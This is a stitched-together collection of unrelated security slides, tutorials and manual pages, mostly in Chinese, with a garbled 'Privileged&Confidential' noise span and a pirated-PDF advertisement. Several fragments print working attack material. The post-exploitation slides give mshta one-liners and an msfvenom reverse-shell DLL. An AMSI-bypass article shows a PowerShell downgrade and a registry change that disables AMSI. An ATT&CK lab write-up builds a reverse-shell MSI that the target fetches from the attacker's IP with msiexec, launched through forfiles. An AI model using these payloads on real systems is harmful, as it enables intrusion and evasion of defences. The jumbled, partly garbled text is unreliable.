debug 模式 PIN 码生成机制安全性研究笔记](https://zhuanlan.zhihu.com/p/32336971) **POC | Payload | exp** `/console` ```py import subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout); ``` --- ## flask-debug xss **相关文章** - [Flask Debugger页面上的通用XSS漏洞分析和挖掘过程记录](http://blog.neargle.com/2016/09/21/flask-src-review-get-a-xss-from-debuger/) - https://github.com/pallets/werkzeug/pull/1001


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& Privileged&Confidential 01   82 5 Privileged&Confidential 5 Privileged&Confidential 0 & 2 Privileged&Confidential Privileged&Confidential & 01 T Privileged&Confidential T Privileged&Confidential  O% & S1 S&  05 R1  0pC 1P 4Op  t4aC81 Privileged&Confidential Privileged&Confidential & 02 Privileged&Confidential Privileged&Confidential  &  &  & Privileged&Confidential & Privileged&Confidential 03 Privileged&Confidential Privileged&Confidential 141 ap a& 2t. 1.3 & Privileged&Confidential & Privileged&Confidential 04 d Privileged&Confidential d Privileged&Confidential  xj3&%8o 3&u8s  8te p8lamirs 8&&33080y8 br  kg8gn8gsp h  80800 & Privileged&Confidential & Privileged&Confidential 05 Privileged&Confidential Privileged&Confidential  & 1&   & & Privileged&Confidential & Privileged&Confidential 06 Fdz Privileged&Confidential Fdz Privileged&Confidential  aad&85128 +6380 0451&8& 8  +6Ad8AdAu e8sa 8t88  rp8ob-632rp m8 48@75 Privileged&Confidential 48@75 Privileged&Confidential 2963 0 & & 0 11 Privileged&Confidential Privileged&Confidential & 07 Privileged&Confidential Privileged&Confidential  dik5  Bxe5 300ff&&f f1445  bs Boc o-5  00uw 5z rA5 Privileged&Confidential Privileged&Confidential & 08 Privileged&Confidential Privileged&Confidential &0 Privileged&Confidential Privileged&Confidential &.. 355 3p.. 4 33 1xoa2 sA 3e 3D3.. mi3a x..a Privileged&Confidential Privileged&Confidential && D22 +B 3 Privileged&Confidential 3 Privileged&Confidential & 4 Privileged&Confidential 4 Privileged&Confidential & Privileged&Confidential Privileged&Confidential 41& 4 Privileged&Confidential 4 Privileged&Confidential & & Privileged&Confidential & Privileged&Confidential & Privileged&Confidential


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Custom Processing Unit: Tracing and Patching Intel Atom Microcode Black Hat USA 2022 Pietro Borrello Sapienza University of Rome Martin Schwarzl Graz University of Technology Michael Schwarz CISPA Helmholtz Center for Information Security Daniel Gruss Graz University of Technology Outline 1. Deep dive on CPU µcode 1 Pietro Borrello (@borrello pietro) Martin Schwarzl (@marv0x90) Outline 1. Deep dive on CPU µcode 2. µcode Software Framework 1 Pietro Borrello (@borrello pietro) Martin Schwarzl (@marv0x90) Outline 1. Deep dive on CPU µcode 2. µcode Software Framework 3. Reverse Engineering of the secret µcode update algorithm 1 Pietro Borrello (@borrello pietro) Martin Schwarzl (@marv0x90) Outline 1. Deep dive on CPU µcode 2. µcode Software Framework 3. Reverse Engineering of the secret µcode update algorithm 4. Some bonus content ;) 1 Pietro Borrello (@borrello pietro) Martin Schwarzl (@marv0x90) Disclaimer  This is based on our understanding of CPU Microarchitecture.  In theory, it may be all wrong.  In practice, a lot seems right. 2 Pietro Borrello (@borrello pietro) Martin Schwarzl (@marv0x90) How do CPUs work? 3 Pietro Borrello (@borrello pietro) Martin Schwarzl (@marv0x90) Positive Technologies Results  Red Unlock of Atom Goldmont (GLM) CPUs 4 Pietro Borrello (@borrello pietro) Martin Schwarzl (@marv0x90) Positive Technologies Results  Red Unlock of Atom Goldmont (GLM) CPUs  Extraction and reverse engineering of GLM µcode format 4 Pietro Borrello (@borrello pietro) Martin Schwarzl (@marv0x90) Positive Technologies Results  Red Unlock of Atom Goldmont (GLM) CPUs  Extraction and reverse engineering of GLM µcode format  Discovery of undocumented control instructions to access internal buffers 4 Pietro Borrello (@borrello pietro) Martin Schwarzl (@marv0x90) Microcoded Instuctions 101 . . . cpuid . . . . . . . . . . . . XLAT 5 Pietro Borrello (@borrello pietro) Martin Schwarzl (@marv0x90) Microcoded Instuctions 101 . . . cpuid . . . . . . . . . . . . XLAT µcode ROM seq


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.TH CHROOT "1" "August 1999" "GNU sh-utils 2.0" FSF .SH NAME chroot \- 以 特定 根 目录 运行 命令 或者 交互式 shell .SH "总览 (SYNOPSIS)" .B chroot [\fIOPTION\fR]\fI NEWROOT \fR[\fICOMMAND\fR...] .br .B chroot \fIOPTION\fR .SH "描述 (DESCRIPTION)" .PP 以 NEWROOT 为 根 目录 运行 COMMAND. .TP \fB\-\-help\fR 显示 帮助 并且 退出 .TP \fB\-\-version\fR 显示 版本 信息 并且 退出 .PP 如果 没有 指定 命令, 运行 ``${SHELL} \fB\-i\fR'' (默认: /bin/sh). .SH "报告错误 (REPORTING BUGS)" 把 错误 报告 给 <bug-sh-utils@gnu.org>. .SH "参见 (SEE ALSO)" .B chroot 的 完整 的 文档 是 以 Texinfo 手册页 维护 的. 如果 .B info 和 .B chroot 程序 被 正确 的 安装 在 你的 机子 上, 用 .IP .B info chroot .PP 命令 查看 完整 的 手册页. .SH "版权 (COPYRIGHT)" 版权所有 \(co 1999 自由软件基金会 .br 这一程序是自由软件; 拷贝条件见源文件. 没有任何担保; 甚至没有适合特定目的的隐含的担保. .SH "[中文版维护人]" .B 唐友 <tony_ty@263.net> .SH "[中文版最新更新]" .BR 2001/9/20 .SH "[中国Linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net


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本人可以提供各种PDF电子书资料计算机类文学艺术设计医学理 学经济金融等等质量都很清晰而且每本100%都带书签和目录方便 读者阅读观看只要您提供给我书的相关信息一般我都能找到如果您有需 求请联系我 QQ: 461573687, 或者 QQ: 2404062482 本人已经帮助了上万人找到了他们需要的PDF其实网上有很多PDF,大家如果 在网上不到的话可以联系我QQ因PDF电子书都有版权请不要随意传播 最近pdf也越来越难做了希望大家尊重下个人劳动谢谢 __________________________________________________________________________________ 提供各种书籍pdf下载如有需要请联系 QQ: 461573687 备用QQ:2404062482 PDF制作说明


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Shell is Only the Beginning后渗透阶段的攻防对抗 3gstudent & Evi1cg As a offensive researcher, if you can dream it,someone has likely already done it and that someone isnt the kind of person who speaks at security cons Matt Graeber 3gstudent Good$Study Good$Health Good$Attitude$ Evi1cg Thin WhiteHat Security$Researcher 后渗透阶段 渗透测试 以特定的业务系统作为目标识 别出关键的基础设施并寻找客 户组织最具价值和尝试进行安全 保护的信息和资产 黑客攻击 黑客对攻击战果进一步扩大以 及尽可能隐藏自身痕迹的过程  打开一扇窗  Open Proxy  绕过看门狗  Bypass Application Whitelisting  我来作主人  Escalate Privileges  屋里有什么  Gather Information  我来抓住你  Detection and Mitigations  挖一个密道  Persistence 目录 打开一扇窗 Open Proxy 为什么用代理?  更好地接触到目标所处环境  使用已有shell的机器作为跳板扩大战果  Its the beginning 常用方法 端口转发Client-> Lcx, Netsh; HTTP-> Tunnel; Metasploit-> Portpwd Socks代理Client-> Ew,Xsocks; HTTP-> ReGeorg; Metasploit-> Socks4a 其他SSH, ICMP 等 Vpn  然而我们可能会碰到这样的情况  安装杀毒软件,拦截恶意程序  设置应用程序白名单,限制白名单以外的程序运行 egWindows Applocker Windows AppLocker 简介 即应用程序控制策略可用来对可执行程序安装程序和脚本进行控制 开启默认规则后除了默认路径可以执行外其他路径均无法执行程序和脚本 绕过看门狗 Bypass Application Whitelisting 绕过思路 ü Hta ü Office Macro ü Cpl ü Chm ü Powershell ü Rundll32 ü Regsvr32 ü Regsvcs ü Installutil  1Hta More  Mshta.exe vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.cl ose)  Mshta.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe ",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveX Object("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);} 2Office Macro MacroRaptor  Detect malicious VBA Macros  Python  https://bitbucket.org/decalage/oletools/wiki/mraptor 3Cpl DLL/CPL: 生成Payload.dll: msfvenom -p$windows/meterpreter/reverse_tcp -b$\x00\xff$lhost=192.168.127.132$lport=8888$-f$dll -o$payload.dll (1)$直接运行dll rundll32$shell32.dll,Control_RunDLL$payload.dll (2)$将dll重命名为cpl双击运行 (3)$普通的dll直接改后缀名 From: http://drops.wooyun.org/tips/16042 4Chm 高级组合技打造完美 捆绑后门 http://drops.wooyun.org/tips/14254 利用系统CHM文件实现隐蔽后门 那些年我们玩过的奇技淫巧 5Powershell Command:  powershell -nop -exec$bypass$-c


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2012 @IDF.cn 安全改變未來 網絡使生活更美好 萬濤 ChinaEagle IDF互聯網威懾防禦實驗室 中國電子學會計算機取證專家委員會 1  2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 智慧的地球對安全的需求 這個星球變得越來越... 機械化,,,, 互聯 化 智能....化 我們在過去十年中看 到的變化比再之前90 90 90 90 年的總和都要多 Ad J. Scheepbouwer, CEO, KPN Telecom Privacy and identity controls Information protection and recovery Infrastructure and application protection Governance and policy management 新的成為可能 新的複雜性 新的風險. . . . GRC GRC GRC GRC GRC GRC GRC GRC GRC GRC GRC GRC 2  2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 中國僵屍電腦第一生產大國 網頁掛馬帶來的最直接後果僵屍如瘟疫般蔓延 美國僵屍生產力下降而中國保持穩步增長已佔據了生產僵屍電腦第一大國的位置 數據來源邁克菲威脅報告 3  2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 "駭客經濟"模式已基本形成,規模龐大,日趨複雜 4  2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 威脅發展特點 攻擊產業化威脅數量激增 攻擊自動化快速蔓延 攻擊智能化威脅技術多樣化 威脅端到端依靠單安全組件如何應對 如何做到全方位立體防護 5  2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 6 智慧的地球面臨安全的挑戰 Source http://searchcompliance.techtarget.com/news/article/0,289142,sid195_gci1375707,00.html http://searchcompliance.techtarget.com/news/article/0,289142,sid195_gci1375707,00.html http://searchcompliance.techtarget.com/news/article/0,289142,sid195_gci1375707,00.html http://searchcompliance.techtarget.com/news/article/0,289142,sid195_gci1375707,00.html 複雜性增加 成本增加 合規性要求 安全專案的核心驅動力 僅僅統計了美國的公司在 2010年中用於風險治理和 合規的花肥超過了290億 美金 保護每一個客戶記錄需 要204美元 很快連接在網路上的設備 將超過1萬億臺, 組成一個 Internet事務 6  2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 對數據安全和私密性保護的擔心是最主要的  但並不是唯一的 共有雲服務 69% 69% 69% 69% 54% 54% 54% 54% 53% 53% 53% 53% 52% 52% 52% 52% 47% 47% 47% 47% 公司數據的安全和隱密性 服務品質 對成本節省的懷疑 網路回應能力是否迅速 與內部 IT集成的困難性 Percent rating the factor as a significant barrier (4 or 5) Percent rating the factor as a significant barrier (4 or 5) Percent rating the factor as a significant barrier (4 or 5) Percent rating the factor as a significant barrier (4 or 5) Respondents could select multiple items Source: Cloud Market Insights, Cloud Computing Research, July 2009. n=1,090 7  2012 @IDF.cn 雲計算模式下的安全和駭客經濟威脅趨勢 特殊用戶對雲計算安全的擔憂 保護知識產權和數據 合規性的能力 非授權使用數據 數據機密性 數據可用性 數據完整性 可以測試和審計供應商的環境 其他 30% 30% 30% 30% 21% 21% 21% 21% 15% 15% 15% 15% 12% 12% 12% 12% 9% 9% 9% 9% 8%


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A Methodology to Detect and Characterize Kernel Level Rootkit Exploits Involving Redirection of the System Call Table John Levine, Julian Grizzard, Henry Owen School of Electrical and Computer Engineering Georgia Institute of Technology E-mail: levine@ece.gatech.edu Abstract There is no standardized methodology at present to characterize rootkits that compromise the security of computer systems. The ability to characterize rootkits will provide system administrators with information so that they can take the best possible recovery actions and may also help to detect additional instances and prevent the further installation of the rootkit allowing the security community to react faster to new rootkit exploits. There are limited capabilities at present to detect rootkits, but in most cases these capabilities only indicate that a system is infected without identifying the specific rootkit. We propose a mathematical framework for classifying rootkit exploits as existing, modifications to existing, or entirely new. An in-depth analysis of a particular type of kernel rootkit is conducted in order to develop a characterization. As a result of this characterization and analysis, we propose some new methods to detect this particular class of rootkit exploit. 1. Introduction Computers on todays Internet are vulnerable to a variety of exploits that can compromise their intended operations. Systems can be subject to Denial of Service Attacks that prevent other computers from connecting to them for their provided service (e.g. web server) or prevent them from connecting to other computers on the Internet. They can be subject to attacks that cause them to cease operations either temporary or permanently. A hacker may be able to compromise a system and gain root level access, i.e. the ability to control that system as if the hacker was the system administrator. A hacker who gains root access on a computer system may want to maintain that access for the foreseeable future. One way


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Saif El-Sherei & Etienne Stalmans What is Fuzzing?? Fuzzing is feeding an Application with malformed input in hope to find errors and faults in the application code and with a bit of luck these faults can lead to exploitable vulnerabilities Basic History of Fuzzing  1988-199:  Boris Beizer Syntax Testing.  Barton Miller Fuzz: An Emprical Study of Robustness.  1999  2001 OUSPG PROTOS SNMP, HTTP, SIP, H.323, LDAP, etc   2002 Dave Aitel SPIKE block based fuzzing. Codnemicon first commercial fuzzer.  2004 Browser Fuzzing start lcamtufs MangleMe.  2005 FileFuzz , SPIKEfile NotSPIKEfile File format fuzzing.  2006 Month of Browser Bugs (MoBB) HD Moore relases a browser bug every day for a month release of CSSDIE, COMRaider and Axman and hamachi.  2011 Lcamtuf decided to revolutionize Browser fuzzing in 2011 by releasing cross_fuzz. In his own words "a surprisingly effective but notoriously annoying cross-document DOM binding fuzzer that helped identify about one hundred bugs in all browsers on the market - many of said bugs exploitable - and is still finding more." it is based on ref_fuzz which he developed in 2008.  2014 lcamtufs introduces American Fuzzy lop (Afl) Evolutionary fuzzer. Fuzzing Types And Techniques Fuzzing methodology Monitor for Memory corruption Errors. Fuzz target Generate Data Identify Inputs Identify Target Fuzzing Types  Mutation/Non-Intelligent Fuzzing Randomly apply mutation algorithms to the supplied input to generate several test cases without any concern to the target format.  Generation/Intelligent Fuzzing Utilize grammar to model a certain format specification and randomly generate semi-valid test cases. to minimize fault conditions and generate test cases that are accepted by the target. Fuzzing Types Contd..  Evolutionary Fuzzing Combining either types of fuzzing with code and binary instrumentation tools, to monitor code paths and generate test cases based on the results of the instrumentation to achieve least number of test cases with high


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PowerShell Version Release Date Default Windows Versions PowerShell 1.0 November 2006 Windows Server 2008 (*) PowerShell 2.0 October 2009 Windows 7 Windows Server 2008 R2 (**) PowerShell 3.0 September 2012 Windows 8 Windows Server 2012 PowerShell 4.0 October 2013 Windows 8.1 Windows Server 2012 R2 PowerShell 5.0 February 2016 Windows 10 PowerShell 5.1 January 2017 Windows 10 Anniversary Update Windows Server 2016 Windows Server 2019 PowerShell Core 6 January 2018 N/A PowerShell 7 March 2020 N/A Bypass AMSI的前世今生(2) - 2种低成本对抗方法 0x00 前言 本文主要介绍2种低成本的对抗AMSI的方法 [BA1] 降级PowerShell版本到2.0 [BA4] 设置注册表HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable设置为 0 以禁用 AMSI 我们沿用测试思考验证的思路对这2种方法进行分析 0x01 降级攻击 降级攻击顾名思义就是使用低版本2.0的PowerShell来执行攻击脚本因为在低版本的 powershell上没有AMSI在我们测试之前我们需要知道PowerShell在Windows上的预装情况如图 所示https://4sysops.com/wiki/differences-between-powershell-versions/ * Has to be installed through Server Manager ** Also integrated in all later Windows versions 通多以上图我们可以看出2.0在当前常用的系统上默认安装的很少AMSI是在win10 winServer2016开始装备的也就是说我们要研究的其实是Win10Win2016Win2019上面2.0的安装 情况因为.Net CLR 4.0是不兼容PowerShell2.0的PowerShell2.0是基于.NET CLR 2.0的而.NET CLR 2.0是.NET2/3/3.5的运行时对照表如下 通过查询官方文档只有.NET Framework 3.5在Win10的机器上默认安装也就是说降级攻击默认使用 只能在Win10上使用但是不要太相信官方文档官方文档也不一定正确同时很多服务依赖 于.Net2/2/3/3.5很有可能管理员会自己安装因此使用攻击前自己探测清楚很重要我们可以使用以 下命令判断能否使用Powershell2.0 AttackTeamFamily No. 1 / 5 - www.red-team.cn 我们在Win10上测试以下降级攻击 在命令种直接使用powershell.exe -version 2改变运行版本如果在脚本中使用在脚本开头加入 #requires -version 2这样如果可以使用2.0脚本会以2.0执行如果不能会按照当前powershell版 本执行注意不是所有powershell脚本都能在2.0上执行需要注意攻击脚本支不支持2.0不要看完这 个傻乎乎的去加一行#requires -version 2就以为能绕过了 在这儿可能你还要问一个问题Powershell 3.0行不行呢答案是不行的使用 -version 3/4/5 其实都是 使用的当前版本的powershell 注非管理员权限 Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get- ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '(?!S)\p{L}'} | Select -ExpandProperty Version 注需要管理员权限 Win10 Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 Win2016/Win2019 Get-Windo


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A CTF-Style Escape Journey on VMware Workstation f1yyy@Chaitin.Tech About us  Beijing Chaitin Tech Co., Ltd(@ChaitinTech)  https://chaitin.cn/en  https://realworldctf.com/  Chaitin Security Research Lab  Pwn2Own 2017 3rd place  GeekPwn 2015/2016/2018/2019 awardees  PS4 Jailbreak, Android rooting, IoT Offensive Research, ESXi Escape  CTF players from team b1o0p, Tea Deliverers  2nd place at DEFCON 2016  3rd place at DEFCON 2019  1st place at HITCON 2019 Before we start  VMM(Hypervisor)Virtual Machine Monitor  Guest OS  Host OS What is Virtual Machine Escape VMM Guest OS 0 Guest OS 1 Guest OS N ... Host OS ... Normally, all of the sensitive behaviors of guest OS will be sanitized by the hypervisor What is Virtual Machine Escape VMM Guest OS 0 Guest OS 1 Guest OS N ... Host OS ... What is Virtual Machine Escape VMM Guest OS 0 Guest OS 1 Guest OS N ... Host OS exploitation ... What is Virtual Machine Escape VMM Guest OS 0 Guest OS 1 Guest OS N ... Host OS exploitation Execute arbitrary codes on the host network connectio ... Introduction of VMware Workstation Architecture Host OS Physical Hardware User mode Architecture after vmware runs Host OS Physical Hardware User mode VM Monitor vmware-vmx vmmon VM VM VM Host World VM World Architecture after vmware runs Host OS Physical Hardware User mode VM Monitor vmware-vmx vmmon VM VM VM Host World VM World Architecture after vmware runs Host OS Physical Hardware User mode VM Monitor vmware-vmx vmmon VM VM VM Host World VM World Attack Surface Graphic Ethernet USB SATA SCSI COM Attack in Recent Years (Pwn2Own 2019) Graphic Ethernet USB SATA SCSI COM (TianfuCup 2018) (Pwn2Own 2017) Our Target (Pwn2Own 2019) Graphic Ethernet USB SATA SCSI COM (TianfuCup 2018) (Pwn2Own 2017) CVE-2019-5541 Analysis How e1000e works? Guest OS TDT TDH TDBAL TDBAH e1000e virtual network card registers How e1000e works? Guest OS TDT TDH TDBAL TDBAH e1000e virtual network card registers write How e1000e works? Guest OS TDT TDH TDBAL TDBAH e1000e virtua


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# T1202-win-间接命令执行-基于Forfiles执行payload(白名单) ## 来自ATT&CK的描述 可以使用各种Windows实用程序来执行命令而不需要调用cmd例如Forfiles程序兼容性助手pcalua.exeWSLWindowsSubsystem for Linux组件以及其他实用程序可以从命令行界面运行窗口或通过脚本来调用程序和命令的执行 攻击者可能会滥用这些功能来规避防御尤其是在破坏检测和/或缓解控制如组策略的同时执行任意动作这些控制限制/阻止了cmd或恶意负载相关文件扩展名的使用 ## 测试案例 Forfiles为Windows默认安装的文件操作搜索工具之一可根据日期后缀名修改日期为条件常与批处理配合使用 微软官方文档 <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)> 说明Forfiles.exe所在路径已被系统添加PATH环境变量中因此Forfiles命令可识别需注意x86x64位的Forfiles调用 Windows 2003 默认位置 C:\WINDOWS\system32\forfiles.exe C:\WINDOWS\SysWOW64\forfiles.exe Windows 7 默认位置 C:\WINDOWS\system32\forfiles.exe C:\WINDOWS\SysWOW64\forfiles.exe 补充说明在高版本操作系统中可以通过配置策略对进程命令行参数进行记录日志策略开启方法`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`同样也可以在不同版本操作系统中部署sysmon通过sysmon日志进行监控 ## 检测日志 windows 安全日志需要自行配置 ## 测试复现 ### 环境准备 攻击机Kali2019 靶机win7 ### 攻击分析 #### 生成payload ```bash msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.126.146 LPORT=8888 -f msi > abc.txt ``` #### MSF配置 ```bash msf5 exploit(multi/handler) > back msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.126.146 lhost => 192.168.126.146 msf5 exploit(multi/handler) > set lport 8888 lport => 5555 msf5 exploit(multi/handler) > exploit ``` #### 靶机执行payload ```cmd forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i http://192.168.126.146/abc.txt" ``` #### 反弹shell 反弹shell失败但不影响后续分析 ## 测试留痕 ```log #sysmon日志 EventID1 Process Create: RuleName: UtcTime: 2020-04-18 16:27:08.447 ProcessGuid: {bb1f7c32-2a5c-5e9b-0000-0010b3101d00} ProcessId: 588 Image: C:\Windows\System32\msiexec.exe FileVersion: 5.0.7601.17514 (win7sp1_rtm.101119-1850) Description: Windows installer Product: Windows Installer - Unicode Company: Microsoft Corporation OriginalFileName: msiexec.exe CommandLine: /q /i http://192.168.126.146/abc.txt CurrentDirectory: C:\Windo


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# 线性反馈移位寄存器 - LFSR ## 介绍 线性反馈移位寄存器的反馈函数一般如下 $a_{i+n}=\sum\limits_{j=1}{n}c_ja_{i+n-j}$ 其中$c_j$ 均在某个有限域 $F_q$ 中 既然线性空间是一个线性变换我们可以得知这个线性变换为 $$ \begin{align*} &\left[ a_{i+1},a_{i+2},a_{i+3}, ...,a_{i+n} \right]\\\\=&\left[ a_{i},a_{i+1},a_{i+2}, ...,a_{i+n-1} \right]\left[ \begin{matrix} 0 & 0 & \cdots & 0 & c_n \\ 1 & 0 & \cdots & 0 & c_{n-1} \\ 0 & 1 & \cdots & 0 & c_{n-2}\\\vdots & \vdots & \ddots & \vdots \\ 0 & 0 & \cdots & 1 & c_1 \\ \end{matrix} \right]\\\\=&\left[ a_{0},a_{1},a_{2}, ...,a_{n-1} \right]\left[ \begin{matrix} 0 & 0 & \cdots & 0 & c_n \\ 1 & 0 & \cdots & 0 & c_{n-1} \\ 0 & 1 & \cdots & 0 & c_{n-2}\\\vdots & \vdots & \ddots & \vdots \\ 0 & 0 & \cdots & 1 & c_1 \\ \end{matrix} \right]{i+1} \end{align*} $$ 进而我们可以求得其特征多项式为 $f(x)=xn-\sum\limits_{i=1}{n}c_ix{n-i}$ 同时我们定义其互反多项式为 $\overline f(x)=xnf(\frac{1}{x})=1-\sum\limits_{i=1}{n}c_ix{i}$ 我们也称互反多项式为线性反馈移位寄存器的联结多项式 这里有一些定理需要我们记一下感兴趣的可以自行推导 ## 特征多项式与生成函数 已知某个 n 级线性反馈移位寄存器的特征多项式那么该序列对应的生成函数为 $A(x)=\frac{p(x)}{\overline f(x)}$ 其中$p(x)=\sum\limits_{i=1}{n}(c_{n-i}x{n-i}\sum\limits_{j=1}{i}a_jx{j-1})$可以看出 p(x) 完全由初始状态和反馈函数的系数决定 ## 序列周期与生成函数 序列的的周期为其生成函数的既约真分式的分母的周期 对于 n 级线性反馈移位寄存器最长周期为 $2{n}-1$排除全零达到最长周期的序列一般称为 m 序列 ## 特殊性质 - 将两个序列累加得到新的序列的周期为这两个序列的周期的和 - 序列是 n 级 m 序列当且仅当序列的极小多项式是 n 次本原多项式 ## B-M 算法 一般来说我们可以从两种角度来考虑 LFSR - 密钥生成角度一般我们希望使用级数尽可能低的 LFSR 来生成周期大随机性好的序列 - 密码分析角度给定一个长度为 n 的序列 a如何构造一个级数尽可能小的 LFSR 来生成它其实这就是 B-M 算法的来源 一般来说我们定义一个序列的线性复杂度如下 - 若 s 为一个全零序列则线性复杂度为0 - 若没有 LFSR 能生成 s则线性复杂度为无穷 - 否则s 的线性复杂度为生成 L(s) 的最小级的 LFSR BM 算法的要求我们需要知道长度为 2n 的序列其复杂度 - 时间复杂度O(n2) 次比特操作 - 空间复杂度O(n) 比特 关于 BM 算法的细节后续添加目前处于学习过程中 但是其实如果我们知道了长度为 2n 的序列我们也可以一种比较笨的方法来获取原先的序列不妨假设已知的序列为$a_1,...,a_{2n}$我们可以令 $S_1=(a_1,...,a_n)$ $S_2=(a_2,...,a_{n+1})$ .... $S_{n+1}=(a_{n+1},...,a_{2n})$ 那么我们可以构造矩阵 $X=(S_1,...,S_n)$那么 $S_{n+1}=(c_n,...,c_1)X$ 所以 $(c_n,...,c_1)=S_{n+1}X{-1}$ 进而我们也就知道了 LFSR 的反馈表达式进而我们就可以推出初始化种子 ## 2018 强网杯 streamgame1 简单看一下题目 ```python from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") asser


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# 27. 二叉树的镜像 [牛客网](https://www.nowcoder.com/practice/a9d0ecbacef9410ca97463e4a5c83be7?tpId=13&tqId=11171&tab=answerKey&from=cyc_github) ## 题目描述

 ## 解题思路 ```java public TreeNode Mirror(TreeNode root) { if (root == null) return root; swap(root); Mirror(root.left); Mirror(root.right); return root; } private void swap(TreeNode root) { TreeNode t = root.left; root.left = root.right; root.right = t; } ```


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Who am I?  11 years in InfoSec with 5 years of hobby work prior to that  Primary interests: penetra;on tes;ng, intrusion detec;on, and log correla;on  Currently employed as an InfoSec generalist at a cloud provider  Previously worked at several Fortune 100 companies  blindedscience@gmail.com What is this What is the Cloud?  Harnesses the massively scalable Internet infrastructure to provide mul;ple users with on-demand access to data, applica;ons, and services  Use of shared or virtualized resources to lower costs, reduce complexity, and increase ﬂexibility  For the purpose of this talk, were talking about IaaS or SaaS This is a picture of a kiQen A Weapon of Mass Destruc;on?  DefCon 17  Clobbering the Cloud (SensePost)  DefCon 18  Cloud Compu;ng: A Weapon of Mass Destruc;on? (Bryan/Anderson)  Cloud providers essen;ally arent doing much internal policing of their clients  Unoﬃcial policy: As long as no complaints are received, nothing will be done Vulnerabili;es of the Cloud Easy Access Anonymity/Fraud Conten;on for resources Threats to the Cloud Provider Infrastructure Damage Fraudulent/ Nonpaying Clients Proven inability to address security Threats to the Client One compromised client of a mul;-tenant environment can aﬀect others Users can be unaware that their data is compromised What are most cloud providers currently doing?  Providers are trea;ng cloud security as a tradi;onal hos;ng environment  Clients are given a virtual ﬁrewall with in-line IPS services  Providers frequently oﬀer Vulnerability Assessment for free  Each clients virtual instance is independent  Clients are fending for themselves with no coordinated enterprise security Conven;onal Solu;on: IPS  Very diﬃcult for providers to oﬀer prepackaged IPS that works for all clients and wont block legi;mate traﬃc  Informa;on coming from an IPS is frequently incomplete (encryp;on, lack of end-point awareness)  In-line IPS has to work at line speeds, so very complex correla;ons arent possible Conven;onal So


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pstree === 以树状图的方式展现进程之间的派生关系 ## 补充说明 **pstree命令** 以树状图的方式展现进程之间的派生关系显示效果比较直观 ### 语法 ```shell pstree(选项) ``` ### 选项 ```shell -a显示每个程序的完整指令包含路径参数或是常驻服务的标示 -c不使用精简标示法 -G使用VT100终端机的列绘图字符 -h列出树状图时特别标明现在执行的程序 -H<程序识别码>此参数的效果和指定"-h"参数类似但特别标明指定的程序 -l采用长列格式显示树状图 -n用程序识别码排序预设是以程序名称来排序 -p显示程序识别码 -u显示用户名称 -U使用UTF-8列绘图字符 -V显示版本信息 ``` ### 实例 显示当前所有进程的进程号和进程id ```shell pstree -p ``` 显示所有进程的所有详细信息遇到相同的进程名可以压缩显示 ```shell pstree -a ``` 获取 SSH 会话的 PID ```shell pstree -p | grep ssh # |-sshd(1221)-+-sshd(2768)---bash(2770)-+-grep(2810) # | `-sshd(2807)---sshd(2808) ``` 从上方的输出中你可以看到 sshd 进程与分支的树形图sshd 的主进程是 sshd1221另两个分支分别为 sshd2768 和 sshd2807


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We dont need no stinkin badges! Shawn Merdinger security researcher DEFCON 18 Hacking electronic door access controllers Outline  EDAC technology  Trends, landscape  Vendors  Architecture  EDAC real-world analysis  S2 Security NetBox  Research, exposure, vulnerabilities, attacks  Countermeasures & recommendations Learning outcomes  Awareness of security issues in EDAC systems  Major players, vendors, resellers  Pen-testing knowledge  Research and testing methods Q . About security of buildings around town.what was your response? ATTY GEN. RENO: Let's do something about it. Q. Is this a good thing that has happened? ATTY GEN. RENO: I think any time you expose vulnerabilities, it's a good thing. Department of Justice Weekly Media Briefing, 25 May 2000 When hackers put viruses on your home computer it's a nuisance; when they unlock doors at your facility it's a nightmare. John L. Moss, S2 Security CEO STAD, Volume14, Issue 1. 1 January, 2004 Choice quotations EDAC Technology Overview  Trend is towards IP from proprietary solution  Convergence of IP, Video  Adding other building systems (HVAC, elevators, alarms)  Cost savings, integration, increased capabilities  Most controllers use embedded Linux  Wide range of vendors in EDAC space S2 Security Honeywell HID Global Vertx Ingersoll-Rand Bosch Security Reach Systems Cisco Systems (Richards Zeta) Brivo DSX Access RS2 Technologies Synergistics EDAC Deployment  Often youll see  Managed by building facilities people  Stuck in a closet and forgotten  Long lifecycles of 5-10 years  Distanced from IT Security  Physical security is not your domain. Its ours.  Patching, upgrades, maintenance. What? Huh?  Policies regarding passwords, logging dont apply  3rd party local service contractor adds doors, hardware configuration EDAC Architecture S2 Security NetBox  Built by S2 Security  9000+ systems installed worldwide  Schools, hospitals, businesses, LEA facilities, etc.  Same box is sold under multiple brand names  Built by S2 Secu


